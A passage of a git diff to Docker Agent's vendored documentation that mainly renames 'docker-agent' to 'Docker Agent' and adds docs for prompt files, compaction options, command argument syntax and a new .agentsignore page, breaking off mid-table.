diff --git a/_vendor/github.com/docker/docker-agent/docs/community/contributing/index.md b/_vendor/github.com/docker/docker-agent/docs/community/contributing/index.md index b5cf7d2b34cd..302997a137dc 100644 --- a/_vendor/github.com/docker/docker-agent/docs/community/contributing/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/community/contributing/index.md @@ -1,12 +1,12 @@ --- title: "Contributing" -description: "docker-agent is open source. Here's how to set up your development environment and contribute." +description: "Docker Agent is open source. Here's how to set up your development environment and contribute." keywords: docker agent, ai agents, community, contributing weight: 10 canonical: https://docs.docker.com/ai/docker-agent/community/contributing/ --- -_docker-agent is open source. Here's how to set up your development environment and contribute._ +_Docker Agent is open source. Here's how to set up your development environment and contribute._ ## Development Setup @@ -52,14 +52,14 @@ export ANTHROPIC_API_KEY=your_key_here ## Dogfooding -Use docker-agent to work on docker-agent! The project includes a specialized developer agent: +Use Docker Agent to work on Docker Agent! The project includes a specialized developer agent: ```bash cd docker-agent docker agent run ./golang_developer.yaml ``` -This agent is an expert Go developer that understands the docker-agent codebase. Ask it questions, request fixes, or have it implement features. +This agent is an expert Go developer that understands the Docker Agent codebase. Ask it questions, request fixes, or have it implement features. ## Core Concepts @@ -121,7 +121,7 @@ Find us on [Slack](https://dockercommunity.slack.com/archives/C09DASHHRU4) for q ## Code of Conduct -We want to keep the docker-agent community welcoming, inclusive, and collaborative. Key guidelines: +We want to keep the Docker Agent community welcoming, inclusive, and collaborative. Key guidelines: - **Be nice** — Be courteous, respectful, and polite. No abuse of any kind will be tolerated. - **Encourage diversity** — Make everyone feel welcome regardless of background. diff --git a/_vendor/github.com/docker/docker-agent/docs/community/opentelemetry/index.md b/_vendor/github.com/docker/docker-agent/docs/community/opentelemetry/index.md index 69979b774039..ae6b3c9a1304 100644 --- a/_vendor/github.com/docker/docker-agent/docs/community/opentelemetry/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/community/opentelemetry/index.md @@ -1,14 +1,14 @@ --- title: "OpenTelemetry Tracing" -description: "Export docker-agent traces to any OTLP backend, including Langfuse and LangSmith, for debugging agentic workflows." +description: "Export Docker Agent traces to any OTLP backend, including Langfuse and LangSmith, for debugging agentic workflows." keywords: docker agent, ai agents, community, opentelemetry tracing weight: 40 canonical: https://docs.docker.com/ai/docker-agent/community/opentelemetry/ --- -_docker-agent can export OpenTelemetry traces of an agent run to any OTLP/HTTP backend. This is separate from [product-analytics telemetry](../telemetry/index.md) and is opt-in via the `--otel` flag._ +_Docker Agent can export OpenTelemetry traces of an agent run to any OTLP/HTTP backend. This is separate from [product-analytics telemetry](../telemetry/index.md) and is opt-in via the `--otel` flag._ -When enabled, docker-agent emits OpenTelemetry GenAI (`gen_ai.*`) and MCP (`mcp.*`) spans following the [OpenTelemetry semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/). Spans cover the agent turn, model calls (with token usage and cost attributes), tool calls, MCP client/server activity, sub-agent hand-offs, and provider fallbacks. W3C `traceparent` context is propagated so the whole run renders as a single connected trace tree. +When enabled, Docker Agent emits OpenTelemetry GenAI (`gen_ai.*`) and MCP (`mcp.*`) spans following the [OpenTelemetry semantic conventions](https://opentelemetry.io/docs/specs/semconv/gen-ai/). Spans cover the agent turn, model calls (with token usage and cost attributes), tool calls, MCP client/server activity, sub-agent hand-offs, and provider fallbacks. W3C `traceparent` context is propagated so the whole run renders as a single connected trace tree. ## Enabling @@ -20,7 +20,7 @@ Without an exporter endpoint configured, spans are recorded locally as no-ops. T ## Configuration -docker-agent reads the standard OTLP environment variables: +Docker Agent reads the standard OTLP environment variables: | Variable | Purpose | | --- | --- | @@ -32,7 +32,7 @@ docker-agent reads the standard OTLP environment variables: > [!NOTE] > **Base endpoint, not the full signal URL** > -> Set `OTEL_EXPORTER_OTLP_ENDPOINT` to the **base** endpoint (for example `https://cloud.langfuse.com/api/public/otel`). docker-agent appends `/v1/traces` for you, matching the value documented by Langfuse and LangSmith. A bare `host:port` is also accepted and gets `https://` (or `http://` for localhost). +> Set `OTEL_EXPORTER_OTLP_ENDPOINT` to the **base** endpoint (for example `https://cloud.langfuse.com/api/public/otel`). Docker Agent appends `/v1/traces` for you, matching the value documented by Langfuse and LangSmith. A bare `host:port` is also accepted and gets `https://` (or `http://` for localhost). > [!WARNING] > **Message content can contain sensitive data** @@ -88,7 +88,7 @@ docker agent run agent.yaml --otel > [!NOTE] > **Langfuse and LangSmith ingest traces only** > -> Both backends accept the traces signal only. docker-agent also wires metric and log exporters at the same endpoint, so their periodic exports return `404` against trace-only backends. This is harmless to traces but appears in the debug log. Point a full OTLP collector at the endpoint if you also want metrics and logs. +> Both backends accept the traces signal only. Docker Agent also wires metric and log exporters at the same endpoint, so their periodic exports return `404` against trace-only backends. This is harmless to traces but appears in the debug log. Point a full OTLP collector at the endpoint if you also want metrics and logs. ## Inspecting traces locally diff --git a/_vendor/github.com/docker/docker-agent/docs/community/telemetry/index.md b/_vendor/github.com/docker/docker-agent/docs/community/telemetry/index.md index 3f738fa62b0f..54974db155f8 100644 --- a/_vendor/github.com/docker/docker-agent/docs/community/telemetry/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/community/telemetry/index.md @@ -1,14 +1,14 @@ --- title: "Telemetry" -description: "docker-agent collects anonymous usage data to help improve the tool. Telemetry can be disabled at any time." +description: "Docker Agent collects anonymous usage data to help improve the tool. Telemetry can be disabled at any time." keywords: docker agent, ai agents, community, telemetry weight: 30 canonical: https://docs.docker.com/ai/docker-agent/community/telemetry/ --- -_docker-agent collects anonymous usage data to help improve the tool. Telemetry can be disabled at any time._ +_Docker Agent collects anonymous usage data to help improve the tool. Telemetry can be disabled at any time._ -On first startup, docker-agent displays a notice about telemetry collection so you're always informed. All events are processed synchronously when recorded. +On first startup, Docker Agent displays a notice about telemetry collection so you're always informed. All events are processed synchronously when recorded. ## Disabling Telemetry diff --git a/_vendor/github.com/docker/docker-agent/docs/community/troubleshooting/index.md b/_vendor/github.com/docker/docker-agent/docs/community/troubleshooting/index.md index 51ae191f41fa..d911b96e8f66 100644 --- a/_vendor/github.com/docker/docker-agent/docs/community/troubleshooting/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/community/troubleshooting/index.md @@ -1,12 +1,12 @@ --- title: "Troubleshooting" -description: "Common issues and how to resolve them when working with docker-agent." +description: "Common issues and how to resolve them when working with Docker Agent." keywords: docker agent, ai agents, community, troubleshooting weight: 20 canonical: https://docs.docker.com/ai/docker-agent/community/troubleshooting/ --- -_Common issues and how to resolve them when working with docker-agent._ +_Common issues and how to resolve them when working with Docker Agent._ ## Common Errors @@ -29,7 +29,7 @@ The agent hit its `max_iterations` limit without completing the task. ### Model Fallback Triggered -When the primary model fails, docker-agent automatically switches to fallback models. Look for log messages like `"Switching to fallback model"`. +When the primary model fails, Docker Agent automatically switches to fallback models. Look for log messages like `"Switching to fallback model"`. - **429 errors:** Rate limited — the cooldown period keeps using the fallback - **5xx errors:** Server issues — retries with exponential backoff first, then falls back @@ -49,7 +49,7 @@ agents: ## Missing credentials or model errors -When docker-agent can't find a usable model at startup, it fails fast with an actionable error. The message names the exact next step. `docker agent doctor` is the fastest way to see the full picture — which providers have credentials, whether Docker Model Runner is reachable, and which model `auto` would pick. +When Docker Agent can't find a usable model at startup, it fails fast with an actionable error. The message names the exact next step. `docker agent doctor` is the fastest way to see the full picture — which providers have credentials, whether Docker Model Runner is reachable, and which model `auto` would pick. ### Required environment variables not set @@ -60,10 +60,9 @@ The following environment variables must be set: - ANTHROPIC_API_KEY Provide them using any of these sources: - - Shell environment: export ANTHROPIC_API_KEY= - - Env file: docker agent run --env-from-file ... - - pass: pass insert ANTHROPIC_API_KEY - - macOS Keychain: security add-generic-password -a "$USER" -s ANTHROPIC_API_KEY -w + - Shell environment: export ANTHROPIC_API_KEY= + - Env file: docker agent run --env-from-file ... + - Docker Agent env file: docker agent setup (stores the key in ~/.config/cagent/.env) See https://docs.docker.com/ai/docker-agent/guides/secrets/ for details. ``` @@ -109,7 +108,7 @@ If instead you see `cannot query Docker Model Runner at `, Docker Model Run ## Debug Mode -The first step for any issue is enabling debug logging. This provides detailed information about what docker-agent is doing internally. +The first step for any issue is enabling debug logging. This provides detailed information about what Docker Agent is doing internally. ```bash # Enable debug logging (writes to ~/.cagent/cagent.debug.log) @@ -168,7 +167,7 @@ If the agent hangs or times out, check that you can reach the provider's API end - Ensure the MCP tool command is installed and on your `PATH` - Check file permissions — tools need to be executable -- Test MCP tools independently before integrating with docker-agent +- Test MCP tools independently before integrating with Docker Agent - For Docker-based MCP tools (`ref: docker:*`), ensure Docker Desktop is running ### Filesystem / shell tool errors @@ -184,7 +183,7 @@ MCP and LSP toolsets are managed by a supervisor that auto-restarts them when th - `/tools` — the unified tools dialog. Its top section lists every toolset with its current state (`Stopped`, `Starting`, `Ready`, `Degraded`, `Restarting`, `Failed`), restart count, and last error; the bottom section lists every tool the agent can call. Start here whenever a tool seems missing or stuck. - `/toolset-restart ` — force a supervisor-driven reconnect of the named toolset. Useful after completing OAuth, when a remote MCP server has been redeployed, or when a language server like `gopls` is unresponsive. -Remote MCP servers that return `401 invalid_token` (e.g. because the stored OAuth token was revoked or rotated) are now self-healing: docker-agent silently exchanges the refresh token for a new one when possible, or surfaces an OAuth re-authentication prompt on your next message when refresh is not possible. No more stuck toolsets that require a process restart — but if you want to trigger re-auth immediately, `/toolset-restart ` forces it right away. +Remote MCP servers that return `401 invalid_token` (e.g. because the stored OAuth token was revoked or rotated) are now self-healing: Docker Agent silently exchanges the refresh token for a new one when possible, or surfaces an OAuth re-authentication prompt on your next message when refresh is not possible. No more stuck toolsets that require a process restart — but if you want to trigger re-auth immediately, `/toolset-restart ` forces it right away. MCP tools using stdio transport must complete the initialization handshake before becoming available. If tools fail silently: @@ -196,7 +195,7 @@ MCP tools using stdio transport must complete the initialization handshake befor > [!NOTE] > **Startup tool-listing timeout** > -> At startup, docker-agent queries each toolset for its tool list. If a toolset does not respond within 10 seconds (e.g. a wedged MCP stdio server that never answers `tools/list`), that toolset is skipped with a warning and the remaining toolsets load normally. The sidebar resolves showing whichever tools did load — no infinite spinner. Enable `--debug` to see the warning message, and use `/toolset-restart ` once the server becomes responsive. +> At startup, Docker Agent queries each toolset for its tool list. If a toolset does not respond within 10 seconds (e.g. a wedged MCP stdio server that never answers `tools/list`), that toolset is skipped with a warning and the remaining toolsets load normally. The sidebar resolves showing whichever tools did load — no infinite spinner. Enable `--debug` to see the warning message, and use `/toolset-restart ` once the server becomes responsive. If a toolset keeps crashing in a tight loop, tune the [`lifecycle`](../../configuration/tools/index.md#toolset-lifecycle) block on the toolset (e.g. raise `backoff.initial`, lower `max_restarts`, or switch to the `best-effort` profile) so a flaky dependency does not amplify into a restart storm. @@ -204,7 +203,7 @@ If a toolset keeps crashing in a tight loop, tune the [`lifecycle`](../../config ### YAML syntax issues -docker-agent validates config at startup and reports errors with line numbers. Common problems: +Docker Agent validates config at startup and reports errors with line numbers. Common problems: - Incorrect indentation (YAML is whitespace-sensitive) - Missing quotes around values containing special characters (`:`, `#`, `{`, `}`) @@ -231,7 +230,7 @@ docker-agent validates config at startup and reports errors with line numbers. C ### Port conflicts -When running docker-agent as an API server or MCP server, ensure the port is not already in use: +When running Docker Agent as an API server or MCP server, ensure the port is not already in use: ```bash # Check if port 8080 is in use diff --git a/_vendor/github.com/docker/docker-agent/docs/concepts/agents/index.md b/_vendor/github.com/docker/docker-agent/docs/concepts/agents/index.md index 4d87c853a4c5..092f7af5104c 100644 --- a/_vendor/github.com/docker/docker-agent/docs/concepts/agents/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/concepts/agents/index.md @@ -1,16 +1,16 @@ --- title: "Agents" -description: "Agents are the core building blocks of docker-agent. Each agent is an AI-powered entity with a model, instructions, tools, and optional sub-agents." +description: "Agents are the core building blocks of Docker Agent. Each agent is an AI-powered entity with a model, instructions, tools, and optional sub-agents." keywords: docker agent, ai agents, concepts, agents weight: 10 canonical: https://docs.docker.com/ai/docker-agent/concepts/agents/ --- -_Agents are the core building blocks of docker-agent. Each agent is an AI-powered entity with a model, instructions, tools, and optional sub-agents._ +_Agents are the core building blocks of Docker Agent. Each agent is an AI-powered entity with a model, instructions, tools, and optional sub-agents._ ## What is an Agent? -An agent in docker-agent is defined by: +An agent in Docker Agent is defined by: - **Model** — The AI model powering it (e.g., Claude, GPT-5, Gemini). See [Models](../models/index.md). - **Description** — A brief summary of what the agent does (used by other agents for delegation) @@ -34,7 +34,7 @@ agents: ## The Root Agent -Every docker-agent configuration has a **root agent** — the entry point that receives user messages. In a single-agent setup, this is the only agent. In a multi-agent setup, the root agent acts as a coordinator, delegating tasks to specialized sub-agents. +Every Docker Agent configuration has a **root agent** — the entry point that receives user messages. In a single-agent setup, this is the only agent. In a multi-agent setup, the root agent acts as a coordinator, delegating tasks to specialized sub-agents. > [!NOTE] > **Naming** @@ -97,10 +97,10 @@ Commands support environment variable interpolation using JavaScript template li ## Default Agent -Running `docker agent run` without a config file uses a built-in default agent. This is a capable general-purpose agent for quick tasks without needing any configuration. +Running `docker agent run` without a config argument uses `docker-agent.yaml`, `docker-agent.yml`, or `docker-agent.hcl` from the current directory when present. Otherwise, it uses a capable built-in default agent for quick tasks without needing any configuration. ```bash -# Use the default agent +# Use the project config or built-in default agent $ docker agent run # Override the default with an alias diff --git a/_vendor/github.com/docker/docker-agent/docs/concepts/distribution/index.md b/_vendor/github.com/docker/docker-agent/docs/concepts/distribution/index.md index 6f6676674498..b865ced1418e 100644 --- a/_vendor/github.com/docker/docker-agent/docs/concepts/distribution/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/concepts/distribution/index.md @@ -12,7 +12,7 @@ _Package, share, and run agents via OCI-compatible registries — just like cont ## Overview -docker-agent agents can be pushed to any OCI-compatible registry (Docker Hub, GitHub Container Registry, etc.) and pulled/run anywhere. This makes sharing agents as easy as sharing Docker images. +Docker Agent agents can be pushed to any OCI-compatible registry (Docker Hub, GitHub Container Registry, etc.) and pulled/run anywhere. This makes sharing agents as easy as sharing Docker images. > [!TIP] > For CLI commands related to distribution, see [CLI Reference](../../features/cli/index.md) (`docker agent share push`, `docker agent share pull`, `docker agent alias`). @@ -108,7 +108,7 @@ $ docker agent serve api docker.io/username/agent:latest --pull-interval 10 ## Private Repositories -docker-agent supports pulling from private GitHub repositories and registries that require authentication. Use standard Docker login or GitHub authentication: +Docker Agent supports pulling from private GitHub repositories and registries that require authentication. Use standard Docker login or GitHub authentication: ```bash # Login to a registry @@ -122,7 +122,7 @@ $ docker agent run docker.io/myorg/private-agent:latest > [!NOTE] > **Docker Desktop credentials** > -> When pulling or running an agent from a `docker.com` or `*.docker.com` HTTPS URL (e.g. `desktop.docker.com`), docker-agent automatically forwards your Docker Desktop JWT for authentication — no explicit login required when Docker Desktop is running and signed in. +> When pulling or running an agent from a `docker.com` or `*.docker.com` HTTPS URL (e.g. `desktop.docker.com`), Docker Agent automatically forwards your Docker Desktop JWT for authentication — no explicit login required when Docker Desktop is running and signed in. > > Note: `docker.io` (the standard Docker Hub registry domain) is a separate domain and is **not** covered by automatic JWT forwarding. Agents pulled from `docker.io` or `registry-1.docker.io` still require `docker login docker.io` for private repositories. diff --git a/_vendor/github.com/docker/docker-agent/docs/concepts/models/index.md b/_vendor/github.com/docker/docker-agent/docs/concepts/models/index.md index 033461818767..cdc8bfda5cf0 100644 --- a/_vendor/github.com/docker/docker-agent/docs/concepts/models/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/concepts/models/index.md @@ -1,12 +1,12 @@ --- title: "Models" -description: "Models are the AI brains behind your agents. docker-agent supports multiple providers and flexible configuration." +description: "Models are the AI brains behind your agents. Docker Agent supports multiple providers and flexible configuration." keywords: docker agent, ai agents, concepts, models weight: 20 canonical: https://docs.docker.com/ai/docker-agent/concepts/models/ --- -_Models are the AI brains behind your agents. docker-agent supports multiple providers and flexible configuration._ +_Models are the AI brains behind your agents. Docker Agent supports multiple providers and flexible configuration._ ## Inline vs. Named Models @@ -63,7 +63,7 @@ agents: instruction: You are a helpful assistant. ``` -At load time, docker-agent selects the first candidate whose credentials are +At load time, Docker Agent selects the first candidate whose credentials are configured. You only need credentials for one candidate. See [Model Configuration](../../configuration/models/index.md#first-available-models) for details. @@ -129,11 +129,11 @@ Control how much the model "thinks" before responding: | Anthropic | int or str | 1024–32768 tokens, or `adaptive`, `adaptive/`, effort level | off | | Gemini 2.5 | int | 0 (off), -1 (dynamic), or token count | -1 (dynamic) | | Gemini 3 | string | `minimal`, `low`, `medium`, `high` | varies | -| All | string/int | `none` or `0` clears docker-agent's local config | — | +| All | string/int | `none` or `0` clears Docker Agent's local config | — | `none` and `0` are not universal API-level disable switches. On genuine OpenAI gpt-5.6+ endpoints (Sol/Terra/Luna), `none` is a real `reasoning_effort` value -that docker-agent sends as-is and the model does not reason. On older OpenAI +that Docker Agent sends as-is and the model does not reason. On older OpenAI models, `none`/`0` only clear the local `thinking_budget` — omitting the field has the same effect — and the model falls back to the API's own default effort (still reasoning internally for always-reasoning models like the o-series). @@ -162,7 +162,7 @@ models: ## Alloy Models -"Alloy models" let you use more than one model in the same conversation — docker-agent alternates between them to leverage the strengths of each: +"Alloy models" let you use more than one model in the same conversation — Docker Agent alternates between them to leverage the strengths of each: ```yaml agents: diff --git a/_vendor/github.com/docker/docker-agent/docs/concepts/tools/index.md b/_vendor/github.com/docker/docker-agent/docs/concepts/tools/index.md index 5ebce14caebe..03676e0a931d 100644 --- a/_vendor/github.com/docker/docker-agent/docs/concepts/tools/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/concepts/tools/index.md @@ -10,21 +10,21 @@ _Tools give agents the ability to interact with the world — read files, run co ## How Tools Work -When an agent needs to perform an action, it makes a **tool call**. The docker-agent runtime executes the tool and returns the result to the agent, which can then use it to continue its work. +When an agent needs to perform an action, it makes a **tool call**. The Docker Agent runtime executes the tool and returns the result to the agent, which can then use it to continue its work. 1. Agent receives a user message 2. Agent decides it needs to use a tool (e.g., read a file) -3. docker-agent executes the tool and returns the result +3. Docker Agent executes the tool and returns the result 4. Agent incorporates the result and responds > [!NOTE] > **Tool Confirmation** > -> By default, docker-agent asks for user confirmation before executing tools that have side effects (shell commands, file writes). Use `--yolo` to auto-approve all tool calls. +> By default, Docker Agent asks for user confirmation before executing tools that have side effects (shell commands, file writes). Use `--yolo` to auto-approve all tool calls. ## Built-in Tools -docker-agent ships with several built-in tools that require no external dependencies. Each is enabled by adding its `type` to the agent's `toolsets` list: +Docker Agent ships with several built-in tools that require no external dependencies. Each is enabled by adding its `type` to the agent's `toolsets` list: | Tool | Description | | --- | --- | @@ -52,7 +52,7 @@ docker-agent ships with several built-in tools that require no external dependen ## MCP Tools -docker-agent supports the [Model Context Protocol (MCP)](https://modelcontextprotocol.io/) for extending agents with external tools. There are three ways to connect MCP tools: +Docker Agent supports the [Model Context Protocol (MCP)](https://modelcontextprotocol.io/) for extending agents with external tools. There are three ways to connect MCP tools: - **Docker MCP** (recommended) — Run MCP servers in Docker containers via the [MCP Gateway](https://github.com/docker/mcp-gateway). Browse the [Docker MCP Catalog](https://hub.docker.com/search?q=&type=mcp). - **Local MCP (stdio)** — Run MCP servers as local processes communicating over stdin/stdout. diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/agents/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/agents/index.md index 631c5d516b43..a7478fe6977b 100644 --- a/_vendor/github.com/docker/docker-agent/docs/configuration/agents/index.md +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/agents/index.md @@ -32,7 +32,7 @@ agents: add_prompt_files: [list] # Optional: include additional prompt files add_description_parameter: bool # Optional: add description to tool schema redact_secrets: boolean # Optional: scrub detected secrets out of tool args, outgoing chat messages, and tool output - code_mode_tools: boolean # Optional: enable code mode tool format + code_mode_tools: boolean # Optional: let the agent write JavaScript to orchestrate tool calls (see Code Mode) max_iterations: int # Optional: max tool-calling loops max_consecutive_tool_calls: int # Optional: max identical consecutive tool calls max_old_tool_call_tokens: int # Optional: token budget for old tool call content (disabled unless positive) @@ -40,6 +40,7 @@ agents: num_history_items: int # Optional: limit conversation history session_compaction: boolean # Optional: disable automatic session compaction (default: true) compaction_threshold: float # Optional: context-window fraction that triggers auto-compaction (0–1, default: 0.9) + compaction_model: string # Optional: model used for session-compaction (summary generation) use_toolsets: [list] # Optional: names of top-level toolsets to merge into this agent readonly: boolean # Optional: restrict all toolsets to read-only tools only skills: boolean | [list] # Optional: enable skill discovery (true/false or list of names and/or sources) @@ -69,8 +70,8 @@ agents: path: string harness: # Optional: delegate to an external coding CLI (Claude Code, Codex, opencode, pi) type: string # Required: claude-code | codex | opencode | pi - model: string # Optional: model override forwarded to the CLI - effort: string # claude-code only: low | medium | high | max + model: string # Optional: model override forwarded to the CLI (omit for the CLI's own default) + effort: string # claude-code only: low | medium | high | xhigh | max (omit for the Claude Code default) agent: string # opencode only: agent profile name thinking: boolean # opencode only: enable extended thinking ``` @@ -96,14 +97,15 @@ agents: | `add_prompt_files` | array | ✗ | List of file paths whose contents are appended to the system prompt. Useful for including coding standards, guidelines, or additional context. | | `add_description_parameter` | boolean | ✗ | When `true`, adds agent descriptions as a parameter in tool schemas. Helps with tool selection in multi-agent scenarios. | | `redact_secrets` | boolean | ✗ | When `true`, scrubs detected secrets (API keys, tokens, private keys, etc.) out of tool-call arguments, outgoing chat messages, and tool output before they reach a tool, the model, or downstream consumers. See [Redacting Secrets](#redacting-secrets) below. | -| `code_mode_tools` | boolean | ✗ | When `true`, formats tool responses in a code-optimized format with structured output schemas. Useful for MCP gateway and programmatic access. | +| `code_mode_tools` | boolean | ✗ | When `true`, replaces the agent's individual tools with a single tool that runs a JavaScript script calling as many of them as needed in one turn. See [Code Mode](../../features/code-mode/index.md). | | `max_iterations` | int | ✗ | Maximum number of tool-calling loops. Default: unlimited (0). Set this to prevent infinite loops. | | `max_consecutive_tool_calls` | int | ✗ | Maximum consecutive identical tool calls before the agent is terminated, preventing degenerate loops. Default: `5`. | | `max_old_tool_call_tokens` | int | ✗ | Maximum number of tokens to keep from old tool call arguments and results. Older tool calls beyond this budget have their content replaced with a placeholder, saving context space. Tokens are approximated as `len/4`. Truncation is disabled by default; set a positive value to enable it. Set to `-1` to disable truncation (unlimited). | | `max_tool_result_tokens` | int | ✗ | Maximum number of tokens to keep from each tool result when it is added to the session. Oversized results are truncated middle-out: the head and tail are kept and the removed middle is replaced with a truncation marker. Textual documents attached to the result share the same budget. Tokens are approximated as `len/4`. The cap is disabled by default; set a positive value to enable it. `0` and `-1` both leave tool results unbounded. | | `num_history_items` | int | ✗ | Limit the number of conversation history messages sent to the model. Useful for managing context window size with long conversations. Default: unlimited (all messages sent). | -| `session_compaction` | boolean | ✗ | When `false`, disables automatic session compaction for this agent: neither the proactive threshold trigger nor the post-overflow auto-recovery runs. The manual `/compact` command remains available. Default: `true`. | -| `compaction_threshold` | float | ✗ | Fraction of the model's context window at which proactive auto-compaction triggers. Must be greater than `0` and at most `1`. A `compaction_threshold` set on the agent's model takes precedence. Default: `0.9`. See [Compaction Threshold](../models/index.md#delegating-session-compaction). | +| `session_compaction` | boolean | ✗ | When `false`, disables automatic session compaction for this agent: neither the proactive threshold trigger nor the post-overflow auto-recovery runs. The manual `/compact` command remains available. Default: `true`. See the [Context & Compaction guide](../../guides/compaction/index.md). | +| `compaction_threshold` | float | ✗ | Fraction of the model's context window at which proactive auto-compaction triggers. Must be greater than `0` and at most `1`. A `compaction_threshold` set on the agent's model takes precedence. Default: `0.9`. See the [Context & Compaction guide](../../guides/compaction/index.md). | +| `compaction_model` | string | ✗ | Model used for session compaction (summary generation). Can be a named model or an inline `provider/model` string. A `compaction_model` set on the agent's model takes precedence; when both are omitted, the agent's own model compacts. See the [Context & Compaction guide](../../guides/compaction/index.md). | | `skills` | bool/array | ✗ | Enable automatic skill discovery. `true` loads all discovered local skills, `false` disables them. A list can mix skill sources (`local` or `https://…` URLs) and skill names to include — see [Skills](../../features/skills/index.md). | | `commands` | object | ✗ | Named prompts that can be run with `docker agent run config.yaml /command_name`. Can be simple strings or objects with `instruction` and/or `agent` fields for agent switching, or a `url` field to open a link in the browser (TUI only). See [Named Commands](#named-commands) below. | | `use_commands` | list of string | ✗ | Names of top-level `commands` groups to merge into this agent. Inline `commands` entries take precedence on name conflicts. Default: `[]`. | @@ -123,6 +125,11 @@ agents: > > Default is `0` (unlimited). Always set `max_iterations` for agents with powerful tools like `shell` to prevent infinite loops. A value of 20–50 is typical for development agents. +> [!TIP] +> **Managing long sessions** +> +> `max_old_tool_call_tokens`, `max_tool_result_tokens`, `num_history_items`, `session_compaction`, and `compaction_threshold` all help keep long-running sessions inside the model's context window. See the [Context & Compaction guide](../../guides/compaction/index.md) for how to combine them. + ## External Instruction Files Long system prompts can be kept in their own files instead of being inlined in @@ -172,6 +179,40 @@ contents are loaded as the agent's instruction when the config is loaded. Notes: A runnable example lives in [`examples/instruction_file.yaml`](https://github.com/docker/docker-agent/blob/main/examples/instruction_file.yaml). +## Prompt Files + +`add_prompt_files` injects the contents of one or more files into the agent's +context at the start of every turn — handy for repo-wide conventions like +`AGENTS.md` or `CLAUDE.md` that should stay available without being pasted +into `instruction`: + +```yaml +agents: + root: + model: anthropic/claude-sonnet-4-5 + description: A helpful coding assistant + instruction: You are an expert software developer. + add_prompt_files: + - AGENTS.md +``` + +For each name, the agent loads the closest match found by walking up from the +current working directory, plus (if it's a different file) a copy at that +name directly under the user's home directory — so a personal `~/AGENTS.md` +can layer on top of a repo-local one. Missing files are skipped rather than +erroring. Because resolution and the read happen on every turn, edits to the +file are picked up without restarting the agent. + +Use `--prompt-file` to add files for a single run without editing the +config. It's merged with any `add_prompt_files` already set on the agent, +with duplicates dropped: + +```bash +$ docker agent run agent.yaml --prompt-file CONTRIBUTING.md +``` + +Resolved prompt files show up as their own entries in the `/context` dialog — see [File Attachments](../../features/tui/index.md#file-attachments) in the Terminal UI guide. + ## Response Cache The response cache short-circuits the model when the same user question is asked again. The first time a question is asked, the agent calls the model normally and stores the assistant's reply. Subsequent identical questions skip the model entirely and replay the stored reply verbatim. @@ -322,6 +363,11 @@ agents: ## Named Commands +> [!TIP] +> **Full reference** +> +> This section covers the basics. For URL commands, agent-switching commands, reusable top-level `commands:` groups, and hiding commands with `--disable-commands`, see [Custom Commands](../commands/index.md). + Define reusable prompt shortcuts that can send prompts to the current agent, switch to a different sub-agent, or open a URL in the browser: > **Note:** Named slash commands execute immediately, even while the agent is processing another message. Unlike regular chat messages (which are queued), slash commands interrupt or direct the agent even while it is mid-response. @@ -339,8 +385,8 @@ agents: # Advanced format with agent switching plan: - agent: planner # Switch to the 'planner' sub-agent - instruction: "Create a detailed plan for: $1" # Optional: send this prompt after switching + agent: planner # Switch to the 'planner' agent + instruction: "Create a detailed plan for: ${args.join(\" \")}" # Optional: send this prompt after switching # Agent switching without instruction - forwards remaining text as prompt review: @@ -366,8 +412,8 @@ Commands support three formats: ```yaml plan: - agent: planner # Required: name of sub-agent to switch to - instruction: "Plan: $1" # Optional: prompt to send after switching + agent: planner # Required: name of any agent defined in the team + instruction: "Plan: ${args.join(\" \")}" # Optional: prompt to send after switching description: "Switch to planning mode" # Optional: shown in help text ``` @@ -379,7 +425,16 @@ Commands support three formats: description: "Open the documentation" # Optional: shown in help text ``` -When `agent` is set without `instruction`, any text typed after the slash command (e.g., `/plan build a web app`) is forwarded as a prompt to the target agent. The target agent must be listed in the current agent's `sub_agents` array. +When `agent` is set without `instruction`, any text typed after the slash command (e.g., `/plan build a web app`) is forwarded as a prompt to the target agent. The target agent can be **any agent defined in the team configuration** — it does not need to be listed in the current agent's `sub_agents` array. + +**Argument and expansion syntax** + +An `instruction` string can reference the command's arguments and expand tool calls: + +- `${args[0]}`, `${args[1]}`, … — individual positional arguments, in the order the user typed them after the command +- `${args.join(" ")}` — all arguments joined into a single string +- `${tool_name({...})}` — calls a tool and inlines its return value (any tool available to the agent) +- `!tool_name(key=value)` — legacy tool-call form: calls a tool with plain `key=value` arguments and inlines its output ### Agent-Switching Commands @@ -396,7 +451,7 @@ agents: # Switch to planner with a pre-filled prompt plan: agent: planner - instruction: "Create a detailed plan for: $1" + instruction: "Create a detailed plan for: ${args.join(\" \")}" # Switch to reviewer; any text after /review is forwarded review: agent: reviewer diff --git a/_vendor/github.com/docker/docker-agent/docs/configuration/agentsignore/index.md b/_vendor/github.com/docker/docker-agent/docs/configuration/agentsignore/index.md new file mode 100644 index 000000000000..67bbcf96ee75 --- /dev/null +++ b/_vendor/github.com/docker/docker-agent/docs/configuration/agentsignore/index.md @@ -0,0 +1,105 @@ +--- +title: "Ignoring files" +description: "Hide files from the agent with a .agentsignore file, using the same syntax as .gitignore." +keywords: docker agent, ai agents, configuration, agentsignore, gitignore, ignore, secrets +weight: 75 +canonical: https://docs.docker.com/ai/docker-agent/configuration/agentsignore/ +--- + +_Hide files from the agent with a `.agentsignore` file, using the same syntax as `.gitignore`._ + +## Overview + +Put a `.agentsignore` file in your project and the agent stops seeing the paths it lists. Matched files are absent from directory listings and searches, and reads, writes and edits targeting them are refused. + +```text +# .agentsignore +secrets.env +*.key +.env.* +build/ +docs/**/*.draft.md +!public.key +``` + +There is nothing to configure. The file's presence is the opt-in, and it is picked up automatically by the [filesystem toolset](../../tools/filesystem/index.md). + +## Syntax + +The syntax is `.gitignore` syntax — parsed with the same library git uses, so patterns behave identically to `.gitignore` and `.dockerignore`: + +| Pattern | Matches | +| --- | --- | +| `secrets.env` | that name at any depth (`secrets.env`, `config/secrets.env`) | +| `/secrets.env` | that name at the project root only | +| `*.key` | any file with the extension | +| `build/` | the directory and everything under it | +| `docs/**/*.draft.md` | nested matches via `**` | +| 